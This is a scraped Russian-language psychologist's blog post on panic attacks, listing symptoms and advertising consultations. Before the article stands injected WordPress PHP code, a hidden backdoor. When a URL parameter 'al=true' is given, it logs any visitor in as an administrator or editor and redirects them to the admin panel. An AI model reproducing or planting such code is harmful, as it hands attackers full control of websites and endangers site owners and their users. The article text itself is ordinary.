// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Панические атаки – приступ, симптомы, лечение. Как победить страх? — Ольга Ахметова
Панические атаки – приступ, симптомы, лечение. Как победить страх?
Панические атаки – приступ, симптомы, лечение. Как победить страх?
On 30.05.2020 | 0 Comments

Психолог онлайн

Вегетососудистая дистония (ВСД) на сегодняшний день уже отсутствует в Международной классификации болезней (МКБ-10). Этот диагноз устарел, а именно его десятилетиями вписывали в заключения врачи пациентам с паническими атаками.

Симптомы панической атаки (ПА)

Когда «на ровном месте» в супермаркете, транспорте, на работе или дома у вас случается приступ и вы чувствуете несколько симптомов из перечисленного:

  • Учащенное сердцебиение
  • Затрудненное дыхание
  • Может бросить в жар либо в озноб
  • Дрожь в руках/ногах, внутренняя дрожь
  • Слабость в теле, головокружение
  • Онемение рук, ног
  • Спутанность мыслей, дереализация, деперсонализация (нереальность происходящего, словно это сон/видео-игра/ смотрю на себя со стороны)
  • Страх: умереть/ сойти с ума/ совершить странный поступок (закричать, заплакать и пр.)
  • Бессонница
  • Другие симптомы более индивидуальные

ПА могут случаться от нескольких раз в день до 1 раза в месяц.

В видео ниже даны 3 простых техники убрать паническую атаку. Это не лечение (!), а работа с симптомами. А лечение нужно проводить с психологом и работать с подавленными эмоциями, с внутриличностными конфликтами, последствиями стрессов и тревогой. Также в видео подан разбор причин панических атак.

________________

Автор Ольга Ахметова, психолог

Запись на консультацию: +380967992359

 

Ольга Ахметова Здравствуйте. Меня зовут Ольга Ахметова, я психолог, пишу книги, консультирую online.

Написать ответ